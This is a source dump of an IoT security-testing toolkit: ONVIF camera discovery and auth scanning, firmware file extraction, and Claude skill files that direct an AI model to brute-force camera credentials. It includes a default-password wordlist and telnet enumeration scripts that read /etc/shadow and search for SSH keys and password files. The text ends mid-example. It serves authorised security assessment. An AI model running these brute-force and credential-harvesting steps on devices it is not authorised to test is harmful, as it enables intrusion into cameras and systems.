├── tools └── iothackbot │ ├── __init__.py │ ├── ffind.py │ ├── wsdiscovery.py │ ├── core │ ├── interfaces.py │ └── wsdiscovery_core.py │ ├── iotnet.py │ └── onvifscan.py ├── wordlists ├── onvif-usernames.txt └── onvif-passwords.txt ├── bin ├── ffind ├── iotnet ├── onvifscan └── wsdiscovery ├── .claude └── skills │ ├── telnetshell │ ├── enum_network.txt │ ├── enum_system.txt │ ├── enum_files.txt │ ├── enum_security.txt │ ├── OBSERVING_SESSIONS.md │ ├── examples.md │ ├── telnet_helper.py │ └── SKILL.md │ ├── ffind │ └── SKILL.md │ ├── onvifscan │ └── SKILL.md │ ├── wsdiscovery │ └── SKILL.md │ ├── iotnet │ └── SKILL.md │ ├── picocom │ ├── OBSERVING_SESSIONS.md │ └── examples.md │ ├── apktool │ └── SKILL.md │ └── nmap-scan │ └── SKILL.md ├── LICENSE ├── .gitignore ├── TOOL_DEVELOPMENT_GUIDE.md ├── README.md └── config └── iot └── detection_rules.json /tools/iothackbot/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | Autopwn tools package. 3 | Provides automated security testing tools with standardized interfaces. 4 | """ 5 | 6 | __version__ = "2.0.0" 7 | -------------------------------------------------------------------------------- /wordlists/onvif-usernames.txt: -------------------------------------------------------------------------------- 1 | admin 2 | root 3 | administrator 4 | user 5 | service 6 | operator 7 | supervisor 8 | guest 9 | security 10 | camera 11 | onvif 12 | system 13 | default 14 | config 15 | setup 16 | installer 17 | maintainer 18 | support 19 | tech 20 | viewer 21 | -------------------------------------------------------------------------------- /bin/ffind: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import os 5 | 6 | # Add tools directory to path 7 | script_dir = os.path.dirname(os.path.abspath(__file__)) 8 | tools_dir = os.path.join(os.path.dirname(script_dir), 'tools') 9 | sys.path.insert(0, tools_dir) 10 | 11 | from iothackbot.ffind import ffind 12 | if __name__ == "__main__": 13 | sys.exit(ffind()) 14 | -------------------------------------------------------------------------------- /bin/iotnet: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import os 5 | 6 | # Add tools directory to path 7 | script_dir = os.path.dirname(os.path.abspath(__file__)) 8 | tools_dir = os.path.join(os.path.dirname(script_dir), 'tools') 9 | sys.path.insert(0, tools_dir) 10 | 11 | from iothackbot.iotnet import iotnet 12 | if __name__ == "__main__": 13 | sys.exit(iotnet()) 14 | -------------------------------------------------------------------------------- /bin/onvifscan: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import os 5 | 6 | # Add tools directory to path 7 | script_dir = os.path.dirname(os.path.abspath(__file__)) 8 | tools_dir = os.path.join(os.path.dirname(script_dir), 'tools') 9 | sys.path.insert(0, tools_dir) 10 | 11 | from iothackbot.onvifscan import onvifscan 12 | if __name__ == "__main__": 13 | sys.exit(onvifscan()) 14 | -------------------------------------------------------------------------------- /bin/wsdiscovery: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import os 5 | 6 | # Add tools directory to path 7 | script_dir = os.path.dirname(os.path.abspath(__file__)) 8 | tools_dir = os.path.join(os.path.dirname(script_dir), 'tools') 9 | sys.path.insert(0, tools_dir) 10 | 11 | from iothackbot.wsdiscovery import wsdiscovery 12 | if __name__ == "__main__": 13 | sys.exit(wsdiscovery()) 14 | -------------------------------------------------------------------------------- /wordlists/onvif-passwords.txt: -------------------------------------------------------------------------------- 1 | Chekt33! 2 | admin 3 | password 4 | 123456 5 | 12345 6 | qwerty 7 | letmein 8 | welcome 9 | admin123 10 | root 11 | toor 12 | administrator 13 | user 14 | service 15 | operator 16 | supervisor 17 | guest 18 | security 19 | camera 20 | onvif 21 | system 22 | default 23 | config 24 | setup 25 | installer 26 | maintainer 27 | support 28 | tech 29 | viewer 30 | pass 31 | password123 32 | adminadmin 33 | rootroot 34 | 12345678 35 | 123456789 36 | qwerty123 37 | letmein123 38 | welcome123 39 | abc123 40 | password1 41 | admin1 42 | root1 43 | camera1 44 | onvif123 45 | system123 46 | -------------------------------------------------------------------------------- /.claude/skills/telnetshell/enum_network.txt: -------------------------------------------------------------------------------- 1 | # Network Configuration Enumeration 2 | # Usage: python3 telnet_helper.py --host IP --port PORT --script enum_network.txt 3 | 4 | # Network interfaces 5 | ifconfig -a 6 | cat /proc/net/dev 7 | 8 | # Routing table 9 | route -n 10 | cat /proc/net/route 11 | 12 | # DNS configuration 13 | cat /etc/resolv.conf 14 | cat /etc/hosts 15 | 16 | # Network connections and listening ports 17 | netstat -tulpn 18 | netstat -an 19 | 20 | # ARP table 21 | arp -a 22 | cat /proc/net/arp 23 | 24 | # Wireless configuration (if applicable) 25 | iwconfig 26 | cat /proc/net/wireless 27 | 28 | # Firewall rules 29 | iptables -L -n -v 30 | 31 | # Network statistics 32 | netstat -s 33 | cat /proc/net/snmp 34 | -------------------------------------------------------------------------------- /.claude/skills/telnetshell/enum_system.txt: -------------------------------------------------------------------------------- 1 | # System Information Enumeration 2 | # Usage: python3 telnet_helper.py --host IP --port PORT --script enum_system.txt 3 | 4 | # Basic system info 5 | uname -a 6 | cat /proc/version 7 | hostname 8 | 9 | # CPU and memory 10 | cat /proc/cpuinfo 11 | cat /proc/meminfo 12 | free 13 | 14 | # Uptime and load 15 | uptime 16 | cat /proc/loadavg 17 | 18 | # Check for BusyBox 19 | busybox 20 | 21 | # Firmware/OS version 22 | cat /etc/issue 23 | cat /etc/*release* 24 | cat /etc/*version* 25 | 26 | # Kernel modules 27 | lsmod 28 | cat /proc/modules 29 | 30 | # Mounted filesystems 31 | mount 32 | cat /proc/mounts 33 | df -h 34 | 35 | # Storage devices 36 | cat /proc/partitions 37 | cat /proc/mtd 38 | 39 | # Boot arguments 40 | cat /proc/cmdline 41 | -------------------------------------------------------------------------------- /.claude/skills/telnetshell/enum_files.txt: -------------------------------------------------------------------------------- 1 | # File System Exploration 2 | # Usage: python3 telnet_helper.py --host IP --port PORT --script enum_files.txt 3 | 4 | # Root directory listing 5 | ls -la / 6 | 7 | # Important directories 8 | ls -la /etc 9 | ls -la /tmp 10 | ls -la /var 11 | ls -la /home 12 | ls -la /root 13 | 14 | # Web server directories (if present) 15 | ls -la /var/www 16 | ls -la /usr/share/nginx 17 | ls -la /srv 18 | 19 | # Configuration files 20 | ls -la /etc/*.conf 21 | ls -la /etc/config 22 | 23 | # Init scripts 24 | ls -la /etc/init.d 25 | ls -la /etc/rc.d 26 | 27 | # Binary directories 28 | ls -la /bin 29 | ls -la /sbin 30 | ls -la /usr/bin 31 | ls -la /usr/sbin 32 | 33 | # Library directories 34 | ls -la /lib 35 | ls -la /usr/lib 36 | 37 | # Device information 38 | ls -la /dev 39 | 40 | # Proc filesystem interesting files 41 | cat /proc/sys/kernel/hostname 42 | cat /proc/sys/kernel/version 43 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 iothackbot contributors 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /.claude/skills/telnetshell/enum_security.txt: -------------------------------------------------------------------------------- 1 | # Security Assessment Enumeration 2 | # Usage: python3 telnet_helper.py --host IP --port PORT --script enum_security.txt 3 | 4 | # Current user context 5 | id 6 | whoami 7 | groups 8 | 9 | # User accounts 10 | cat /etc/passwd 11 | cat /etc/group 12 | 13 | # Shadow file (if readable) 14 | cat /etc/shadow 15 | 16 | # Running processes 17 | ps aux 18 | 19 | # SUID binaries 20 | find / -perm -4000 -type f 2>/dev/null 21 | 22 | # SGID binaries 23 | find / -perm -2000 -type f 2>/dev/null 24 | 25 | # World-writable files 26 | find / -perm -2 -type f 2>/dev/null 27 | 28 | # World-writable directories 29 | find / -perm -2 -type d 2>/dev/null 30 | 31 | # Files owned by current user 32 | find / -user `whoami` 2>/dev/null 33 | 34 | # Writable config files 35 | find /etc -writable 2>/dev/null 36 | 37 | # SSH keys 38 | find / -name "*.key" 2>/dev/null 39 | find / -name "*.pem" 2>/dev/null 40 | find / -name "id_rsa*" 2>/dev/null 41 | find / -name "authorized_keys" 2>/dev/null 42 | 43 | # Password-related files 44 | find / -name "*password*" 2>/dev/null 45 | find / -name "*credential*" 2>/dev/null 46 | 47 | # Cron jobs 48 | crontab -l 49 | ls -la /etc/cron* 50 | cat /etc/crontab 51 | 52 | # Sudo configuration 53 | sudo -l 54 | cat /etc/sudoers 2>/dev/null 55 | -------------------------------------------------------------------------------- /.claude/skills/ffind/SKILL.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Ffind 3 | description: Advanced file finder with type detection and filesystem extraction for analyzing firmware and extracting embedded filesystems. Use when you need to analyze firmware files, identify file types, or extract ext2/3/4 or F2FS filesystems. 4 | --- 5 | 6 | # Ffind - Advanced File Finder with Extraction 7 | 8 | You are helping the user find and analyze files with advanced type detection and optional filesystem extraction capabilities using the ffind tool. 9 | 10 | ## Tool Overview 11 | 12 | Ffind analyzes files and directories, identifies file types, and can extract filesystems (ext2/3/4, F2FS) for deeper analysis. It's designed for firmware and IoT device analysis. 13 | 14 | ## Instructions 15 | 16 | When the user asks to analyze files, find specific file types, or extract filesystems: 17 | 18 | 1. **Understand the target**: 19 | - Ask what path(s) they want to analyze 20 | - Determine if they want to extract filesystems or just analyze 21 | - Ask if they want all file types or just artifact types 22 | 23 | 2. **Execute the analysis**: 24 | - Use the ffind command from the iothackbot bin directory 25 | - Basic usage: `ffind [ ...]` 26 | - To extract filesystems: `ffind -e` 27 | - Custom extraction directory: `ffind -e -d /path/to/output` 28 | - Show all file types: `ffind -a` 29 | - Verbose output: `ffind -v` 30 | 31 | 3. **Output formats**: 32 | - `--format text` (default): Human-readable colored output with type summaries 33 | - `--format json`: Machine-readable JSON 34 | - `--format quiet`: Minimal output 35 | 36 | 4. **Extraction capabilities**: 37 | - Supports ext2/ext3/ext4 filesystems (requires e2fsprogs) 38 | - Supports F2FS filesystems (requires f2fs-tools) 39 | - Requires sudo privileges for extraction 40 | - Default extraction location: `/tmp/ffind_` 41 | 42 | ## Examples 43 | 44 | Analyze a firmware file to see file types: 45 | ```bash 46 | ffind /path/to/firmware.bin 47 | ``` 48 | 49 | Extract all filesystems from a firmware image: 50 | ```bash 51 | sudo ffind /path/to/firmware.bin -e 52 | ``` 53 | 54 | Analyze multiple files and show all types: 55 | ```bash 56 | ffind /path/to/file1.bin /path/to/file2.bin -a 57 | ``` 58 | 59 | Extract to a custom directory: 60 | ```bash 61 | sudo ffind /path/to/firmware.bin -e -d /tmp/my-extraction 62 | ``` 63 | 64 | ## Important Notes 65 | 66 | - Extraction requires root/sudo privileges 67 | - Requires external tools: e2fsprogs, f2fs-tools, util-linux 68 | - Identifies "artifact" file types relevant to security analysis by default 69 | - Use `-a` flag to see all file types including common formats 70 | -------------------------------------------------------------------------------- /.claude/skills/onvifscan/SKILL.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Onvifscan 3 | description: ONVIF device security scanner for testing authentication and brute-forcing credentials. Use when you need to assess security of IP cameras or ONVIF-enabled devices. 4 | --- 5 | 6 | # Onvifscan - ONVIF Security Scanner 7 | 8 | You are helping the user scan ONVIF devices for security issues including authentication bypasses and weak credentials using the onvifscan tool. 9 | 10 | ## Tool Overview 11 | 12 | Onvifscan is an ONVIF device security scanner that can: 13 | - Test for unauthenticated access to ONVIF endpoints 14 | - Perform credential brute-forcing attacks 15 | 16 | ## Instructions 17 | 18 | When the user asks to scan ONVIF devices, test IP cameras, or assess IoT device security: 19 | 20 | 1. **Determine scan type**: 21 | - `auth`: Authentication and access control testing (recommended to start) 22 | - `brute`: Credential brute-forcing on password-protected endpoints 23 | 24 | 2. **Get target information**: 25 | - Ask for the device URL/IP 26 | - Determine which scan type to run 27 | - Check if they have custom wordlists 28 | 29 | 3. **Execute the scan**: 30 | - Use the onvifscan command from the iothackbot bin directory 31 | - Format: `onvifscan [options]` 32 | 33 | ## Subcommands 34 | 35 | ### Auth Scan 36 | Tests ONVIF endpoints for authentication requirements: 37 | ```bash 38 | onvifscan auth http://192.168.1.100 39 | ``` 40 | 41 | Options: 42 | - `-v, --verbose`: Show full XML responses 43 | - `-a, --all`: Test ALL endpoints including potentially destructive ones 44 | - `--format text|json|quiet`: Output format 45 | 46 | ### Brute Force 47 | Attempts credential brute-forcing on protected endpoints: 48 | ```bash 49 | onvifscan brute http://192.168.1.100 50 | ``` 51 | 52 | Options: 53 | - `--usernames `: Custom usernames wordlist (default: built-in onvif-usernames.txt) 54 | - `--passwords `: Custom passwords wordlist (default: built-in onvif-passwords.txt) 55 | - `--format text|json|quiet`: Output format 56 | 57 | ## Examples 58 | 59 | Quick auth check on a device: 60 | ```bash 61 | onvifscan auth 192.168.1.100 62 | ``` 63 | 64 | Auth check with verbose output: 65 | ```bash 66 | onvifscan auth http://192.168.1.100:8080 -v 67 | ``` 68 | 69 | Brute force with custom wordlists: 70 | ```bash 71 | onvifscan brute 192.168.1.100 --usernames custom-users.txt --passwords custom-pass.txt 72 | ``` 73 | 74 | ## Important Notes 75 | 76 | - URLs can omit `http://` - it will be added automatically 77 | - Auth scan is non-destructive and safe to run 78 | - Use `-a` flag with caution - may test destructive endpoints 79 | - Brute force is rate-limited to prevent device overload (max 20 attempts by default) 80 | - Built-in wordlists located in `wordlists/` directory 81 | -------------------------------------------------------------------------------- /.claude/skills/wsdiscovery/SKILL.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Wsdiscovery 3 | description: WS-Discovery protocol scanner for discovering and enumerating ONVIF cameras and IoT devices on the network. Use when you need to discover ONVIF devices, cameras, or WS-Discovery enabled equipment on a network. 4 | --- 5 | 6 | # Wsdiscovery - WS-Discovery Protocol Scanner 7 | 8 | You are helping the user discover and enumerate devices using the WS-Discovery protocol (commonly used by ONVIF cameras and IoT devices) using the wsdiscovery tool. 9 | 10 | ## Tool Overview 11 | 12 | Wsdiscovery implements the WS-Discovery protocol to discover network devices that support this standard. It's particularly useful for finding ONVIF cameras, network video recorders (NVRs), and other IoT devices that advertise themselves via WS-Discovery. 13 | 14 | ## Instructions 15 | 16 | When the user asks to discover ONVIF devices, find network cameras, or scan for WS-Discovery devices: 17 | 18 | 1. **Understand the target**: 19 | - Ask for the target hostname or IP address 20 | - Determine if they want verbose output (full XML responses) 21 | - Decide on output format 22 | 23 | 2. **Execute the scan**: 24 | - Use the wsdiscovery command from the iothackbot bin directory 25 | - Basic usage: `wsdiscovery ` 26 | - For verbose output: `wsdiscovery -v` 27 | - For JSON output: `wsdiscovery --format json` 28 | 29 | 3. **Output formats**: 30 | - `--format text` (default): Human-readable colored output with device details 31 | - `--format json`: Machine-readable JSON 32 | - `--format quiet`: Minimal output 33 | 34 | ## What It Discovers 35 | 36 | The tool extracts and displays: 37 | - IP addresses and ports 38 | - Endpoint references (device UUIDs) 39 | - Device types 40 | - Manufacturer information 41 | - Device names and models 42 | - Hardware versions 43 | - Serial numbers 44 | - Firmware versions 45 | - Location information 46 | - Service endpoints (XAddrs) - URLs for device management 47 | - Metadata versions 48 | 49 | ## Examples 50 | 51 | Discover devices on a specific host: 52 | ```bash 53 | wsdiscovery 192.168.1.100 54 | ``` 55 | 56 | Discover with full XML responses: 57 | ```bash 58 | wsdiscovery 192.168.1.100 -v 59 | ``` 60 | 61 | Output device information as JSON: 62 | ```bash 63 | wsdiscovery 192.168.1.100 --format json 64 | ``` 65 | 66 | Scan network broadcast address to find all devices: 67 | ```bash 68 | wsdiscovery 239.255.255.250 69 | ``` 70 | 71 | ## Important Notes 72 | 73 | - WS-Discovery uses multicast/broadcast discovery 74 | - Devices must support the WS-Discovery protocol to be found 75 | - Common with ONVIF cameras, printers, and network media devices 76 | - Service endpoints (XAddrs) can be used with onvifscan for further testing 77 | - The tool parses ONVIF-specific scope information when available 78 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | PIPFILE.lock 28 | 29 | # PyInstaller 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .nox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | *.py,cover 48 | .hypothesis/ 49 | .pytest_cache/ 50 | cover/ 51 | 52 | # Translations 53 | *.mo 54 | *.pot 55 | 56 | # Django stuff: 57 | *.log 58 | local_settings.py 59 | db.sqlite3 60 | db.sqlite3-journal 61 | 62 | # Flask stuff: 63 | instance/ 64 | .webassets-cache 65 | 66 | # Scrapy stuff: 67 | .scrapy 68 | 69 | # Sphinx documentation 70 | docs/_build/ 71 | 72 | # PyBuilder 73 | .pybuilder/ 74 | target/ 75 | 76 | # Jupyter Notebook 77 | .ipynb_checkpoints 78 | 79 | # IPython 80 | profile_default/ 81 | ipython_config.py 82 | 83 | # pyenv 84 | .python-version 85 | 86 | # pipenv 87 | Pipfile.lock 88 | 89 | # poetry 90 | poetry.lock 91 | 92 | # pdm 93 | .pdm.toml 94 | 95 | # PEP 582 96 | __pypackages__/ 97 | 98 | # Celery stuff 99 | celerybeat-schedule 100 | celerybeat.pid 101 | 102 | # SageMath parsed files 103 | *.sage.py 104 | 105 | # Environments 106 | .env 107 | .venv 108 | env/ 109 | venv/ 110 | ENV/ 111 | env.bak/ 112 | venv.bak/ 113 | 114 | # Spyder project settings 115 | .spyderproject 116 | .spyproject 117 | 118 | # Rope project settings 119 | .ropeproject 120 | 121 | # mkdocs documentation 122 | /site 123 | 124 | # mypy 125 | .mypy_cache/ 126 | .dmypy.json 127 | dmypy.json 128 | 129 | # Pyre type checker 130 | .pyre/ 131 | 132 | # pytype static type analyzer 133 | .pytype/ 134 | 135 | # Cython debug symbols 136 | cython_debug/ 137 | 138 | # IDEs 139 | .vscode/ 140 | .idea/ 141 | *.swp 142 | *.swo 143 | *~ 144 | .DS_Store 145 | 146 | # Project-specific 147 | # Extracted filesystems 148 | /tmp/ffind_*/ 149 | *.extracted/ 150 | 151 | # Network captures 152 | *.pcap 153 | *.pcapng 154 | *.cap 155 | 156 | # Scan output directories 157 | nmap-output/ 158 | scan-results/ 159 | output/ 160 | 161 | # Temporary test files 162 | test_*.bin 163 | test_*.img 164 | test_firmware.* 165 | 166 | # Logs 167 | *.log 168 | logs/ 169 | 170 | # Credentials and secrets (just in case) 171 | *_credentials.txt 172 | *_passwords.txt 173 | secrets.json 174 | .secrets 175 | 176 | # Backup files 177 | *.bak 178 | *.backup 179 | *~ 180 | 181 | # macOS 182 | .DS_Store 183 | .AppleDouble 184 | .LSOverride 185 | 186 | # Windows 187 | Thumbs.db 188 | ehthumbs.db 189 | Desktop.ini 190 | $RECYCLE.BIN/ 191 | 192 | # Linux 193 | .directory 194 | .Trash-* 195 | -------------------------------------------------------------------------------- /tools/iothackbot/ffind.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | from colorama import init, Fore, Style 4 | from .core.ffind_core import FfindTool, ARTIFACT_FILES 5 | from .core.interfaces import ConfigBuilder, OutputFormatter 6 | 7 | class FfindOutputFormatter(OutputFormatter): 8 | """Custom output formatter for ffind results.""" 9 | 10 | def _format_text(self, result: 'ToolResult') -> str: 11 | """Format ffind results as human-readable text.""" 12 | if not result.success: 13 | return "\n".join(result.errors) 14 | 15 | if not result.data: 16 | return "No data available." 17 | 18 | lines = [] 19 | 20 | # Show extraction directory if applicable 21 | extract_dir = result.metadata.get('extraction_dir') 22 | if extract_dir: 23 | lines.append(Fore.YELLOW + f"All extractions will be in: {extract_dir}" + Style.RESET_ALL) 24 | 25 | type_dict = result.data.get('type_summary', {}) 26 | if type_dict: 27 | lines.append("\n" + Fore.BLUE + "Type Summary:" + Style.RESET_ALL) 28 | # Show artifact types by default, but could be configurable 29 | types_to_show = sorted(type_dict.keys()) 30 | for typ in types_to_show: 31 | files_info = type_dict[typ] 32 | count = len(files_info) 33 | lines.append(Fore.CYAN + f"{typ}: {count} files" + Style.RESET_ALL) 34 | for file_info in sorted(files_info, key=lambda x: x['path']): 35 | description = file_info['description'] 36 | path = file_info['path'] 37 | lines.append(Fore.CYAN + f"\t- {path}" + Style.RESET_ALL) 38 | lines.append(Fore.YELLOW + f"\t {description}" + Style.RESET_ALL) 39 | 40 | # Show extraction summary 41 | extracted_count = result.metadata.get('extracted_count', 0) 42 | if extracted_count > 0: 43 | lines.append(Fore.GREEN + f"\nSuccessfully extracted {extracted_count} files" + Style.RESET_ALL) 44 | 45 | return "\n".join(lines) 46 | 47 | 48 | def ffind(): 49 | """Main CLI entry point for ffind.""" 50 | parser = argparse.ArgumentParser(description="File finder with type analysis and optional extraction.") 51 | parser.add_argument("paths", nargs='+', help="File or directory paths to process.") 52 | parser.add_argument("-e", "--extract", action="store_true", help="Perform extractions on supported file types.") 53 | parser.add_argument("-d", "--directory", help="Custom extraction directory (default: timestamped in /tmp).", default=None) 54 | parser.add_argument("-a", "--all", action="store_true", help="Print summary for all file types (default: only artifact types).") 55 | parser.add_argument("-v", "--verbose", action="store_true", help="Print detailed file types for each file.") 56 | parser.add_argument("--format", choices=['text', 'json', 'quiet'], default='text', 57 | help="Output format (default: text)") 58 | 59 | args = parser.parse_args() 60 | init() # Initialize colorama 61 | 62 | # Build configuration 63 | config = ConfigBuilder.from_args(args, 'ffind') 64 | 65 | # Execute tool 66 | tool = FfindTool() 67 | result = tool.run(config) 68 | 69 | # Format and output result 70 | formatter = FfindOutputFormatter() 71 | output = formatter.format_result(result, config.output_format) 72 | if output: 73 | print(output) 74 | 75 | # Exit with appropriate code 76 | return 0 if result.success else 1 77 | -------------------------------------------------------------------------------- /tools/iothackbot/wsdiscovery.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from colorama import init, Fore, Style 3 | from .core.wsdiscovery_core import WSDiscoveryTool 4 | from .core.interfaces import ConfigBuilder, OutputFormatter 5 | 6 | class WSDiscoveryOutputFormatter(OutputFormatter): 7 | """Custom output formatter for wsdiscovery results.""" 8 | 9 | def _format_text(self, result: 'ToolResult') -> str: 10 | """Format WS-Discovery results as human-readable text.""" 11 | if not result.success: 12 | return "\n".join(result.errors) 13 | 14 | if not result.data: 15 | return "No discovery data available." 16 | 17 | data = result.data 18 | devices = data.get('devices', []) 19 | 20 | if not devices: 21 | return f"{Fore.YELLOW}No WS-Discovery devices found.{Style.RESET_ALL}" 22 | 23 | lines = [] 24 | lines.append(f"\n{Fore.BLUE}DISCOVERY SUMMARY:{Style.RESET_ALL}") 25 | lines.append("=" * 60) 26 | 27 | for i, device in enumerate(devices, 1): 28 | lines.append(f"{Fore.CYAN}Device {i}:{Style.RESET_ALL}") 29 | lines.append(f" {Fore.GREEN}IP Address:{Style.RESET_ALL} {device['ip']}:{device['port']}") 30 | 31 | if 'endpoint_reference' in device: 32 | lines.append(f" {Fore.GREEN}Endpoint Reference:{Style.RESET_ALL} {device['endpoint_reference']}") 33 | 34 | if 'types' in device: 35 | lines.append(f" {Fore.GREEN}Device Types:{Style.RESET_ALL} {device['types']}") 36 | 37 | if 'scopes' in device: 38 | scopes = device['scopes'] 39 | lines.append(f" {Fore.GREEN}Device Information:{Style.RESET_ALL}") 40 | for scope in scopes.split(): 41 | if ':' in scope and 'onvif://' in scope: 42 | key, value = scope.split(':', 1) 43 | if 'manufacturer' in key: 44 | lines.append(f" Manufacturer: {value}") 45 | elif 'name' in key: 46 | lines.append(f" Name: {value}") 47 | elif 'hardware' in key: 48 | lines.append(f" Hardware: {value}") 49 | elif 'serial' in key: 50 | lines.append(f" Serial: {value}") 51 | elif 'version' in key: 52 | lines.append(f" Version: {value}") 53 | elif 'location' in key: 54 | lines.append(f" Location: {value}") 55 | 56 | if 'xaddrs' in device: 57 | xaddrs = device['xaddrs'].split() 58 | lines.append(f" {Fore.GREEN}Service Endpoints:{Style.RESET_ALL}") 59 | for xaddr in xaddrs: 60 | lines.append(f" {Fore.CYAN}•{Style.RESET_ALL} {xaddr}") 61 | 62 | if 'metadata_version' in device: 63 | lines.append(f" {Fore.GREEN}Metadata Version:{Style.RESET_ALL} {device['metadata_version']}") 64 | 65 | lines.append("") 66 | 67 | lines.append(f"{Fore.BLUE}Total unique devices discovered: {len(devices)}{Style.RESET_ALL}") 68 | lines.append(f"{Fore.BLUE}WS-Discovery scan completed.{Style.RESET_ALL}") 69 | 70 | return "\n".join(lines) 71 | 72 | 73 | def wsdiscovery(): 74 | """Main CLI entry point for wsdiscovery.""" 75 | parser = argparse.ArgumentParser(description="WS-Discovery Fuzzer for ONVIF-like devices") 76 | parser.add_argument("hostname", help="Hostname or IP address to target") 77 | parser.add_argument("-v", "--verbose", action="store_true", help="Show full XML responses") 78 | parser.add_argument("--format", choices=['text', 'json', 'quiet'], default='text', 79 | help="Output format (default: text)") 80 | 81 | args = parser.parse_args() 82 | init() # Initialize colorama 83 | 84 | # Build configuration 85 | config = ConfigBuilder.from_args(args, 'wsdiscovery') 86 | 87 | # Execute tool 88 | tool = WSDiscoveryTool() 89 | result = tool.run(config) 90 | 91 | # Format and output result 92 | formatter = WSDiscoveryOutputFormatter() 93 | output = formatter.format_result(result, config.output_format) 94 | if output: 95 | print(output) 96 | 97 | # Exit with appropriate code 98 | return 0 if result.success else 1 99 | -------------------------------------------------------------------------------- /.claude/skills/iotnet/SKILL.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: IoTNet 3 | description: IoT network traffic analyzer for detecting IoT protocols and identifying security vulnerabilities in network communications. Use when you need to analyze network traffic, identify IoT protocols, or assess network security of IoT devices. 4 | --- 5 | 6 | # IoTNet - IoT Network Traffic Analyzer 7 | 8 | You are helping the user analyze network traffic to detect IoT protocols and identify security vulnerabilities using the iotnet tool. 9 | 10 | ## Tool Overview 11 | 12 | IoTNet analyzes network packet captures (PCAPs) or performs live traffic capture to: 13 | - Detect IoT-specific protocols (MQTT, CoAP, Zigbee, etc.) 14 | - Identify security vulnerabilities in network traffic 15 | - Analyze protocol distribution 16 | - Find unencrypted communications 17 | - Detect weak authentication mechanisms 18 | - Identify insecure IoT device behaviors 19 | 20 | ## Instructions 21 | 22 | When the user asks to analyze network traffic, capture IoT traffic, or assess network security: 23 | 24 | 1. **Determine input type**: 25 | - PCAP file analysis (offline) 26 | - Live network capture (requires interface) 27 | 28 | 2. **Gather requirements**: 29 | - For PCAP: Get file path(s) 30 | - For live capture: Get network interface name and duration 31 | - Ask about filtering needs (specific IPs, protocols) 32 | - Check if custom detection rules are needed 33 | 34 | 3. **Execute the analysis**: 35 | - Use the iotnet command from the iothackbot bin directory 36 | 37 | ## Usage Modes 38 | 39 | ### PCAP Analysis (Offline) 40 | Analyze one or more existing packet capture files: 41 | ```bash 42 | iotnet capture1.pcap capture2.pcap 43 | ``` 44 | 45 | ### Live Capture 46 | Capture and analyze traffic in real-time: 47 | ```bash 48 | sudo iotnet -i eth0 -d 30 49 | ``` 50 | 51 | ## Parameters 52 | 53 | **Input Options:** 54 | - `pcap_files`: One or more PCAP files to analyze 55 | - `-i, --interface`: Network interface for live capture 56 | 57 | **Filtering Options:** 58 | - `--ip`: Filter traffic by IP address 59 | - `-c, --capture-filter`: BPF syntax filter for live capture 60 | - `--display-filter`: Wireshark display filter for PCAP analysis 61 | 62 | **Live Capture Options:** 63 | - `-d, --duration`: Capture duration in seconds (default: 30) 64 | 65 | **Analysis Options:** 66 | - `--config`: Custom IoT detection rules configuration file 67 | - Default: `config/iot/detection_rules.json` in the iothackbot directory 68 | 69 | **Output Options:** 70 | - `--format text|json|quiet`: Output format (default: text) 71 | - `-v, --verbose`: Detailed output 72 | 73 | ## Examples 74 | 75 | Analyze a packet capture file: 76 | ```bash 77 | iotnet /path/to/capture.pcap 78 | ``` 79 | 80 | Live capture for 60 seconds on wifi interface: 81 | ```bash 82 | sudo iotnet -i wlan0 -d 60 83 | ``` 84 | 85 | Analyze traffic for specific IP: 86 | ```bash 87 | iotnet capture.pcap --ip 192.168.1.100 88 | ``` 89 | 90 | Live capture with BPF filter: 91 | ```bash 92 | sudo iotnet -i eth0 -c "port 